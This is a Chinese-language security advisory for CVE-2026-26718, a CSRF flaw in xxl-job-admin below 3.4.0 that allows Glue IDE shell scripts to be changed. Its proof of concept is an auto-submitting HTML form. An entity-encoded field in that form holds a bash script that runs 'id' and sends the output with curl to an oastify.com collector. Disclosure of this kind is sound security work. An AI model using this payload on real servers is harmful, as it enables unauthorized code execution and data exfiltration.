描述

摘要

xxl-job-admin Web 应用程序中存在跨站请求伪造（CSRF）漏洞，攻击者可利用该漏洞对 Glue IDE Shell 脚本进行未经授权的修改。受影响的端点缺少正确的 CSRF 令牌验证，并通过宽松的请求映射接受任意 HTTP 方法。

受影响产品

xxl-job < 3.4.0

影响

攻击者可诱骗已认证的管理员对 Glue IDE Shell 脚本进行未经授权的更改。

概念验证

Payload


// Decode and change it 

<html>
  <body>
    <form action="https://domain.com/jobcode/save">
      <input type="hidden" name="id" value="294" />
      <input type="hidden" name="glueSource" value="&#35;&#33;&#47;bin&#47;bash&#10;id&#32;&#124;&#32;curl&#32;&#45;d&#32;&#64;&#45;&#32;http&#58;&#47;&#47;qic8br6d6om2j459zk4evuimldr4f03p&#46;oastify&#46;com&#32;&#10;exit&#32;0&#10;" />
      <input type="hidden" name="glueRemark" value="12345" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

致谢 Ibrahim Sartawi

CVE-2026-26718

最受欢迎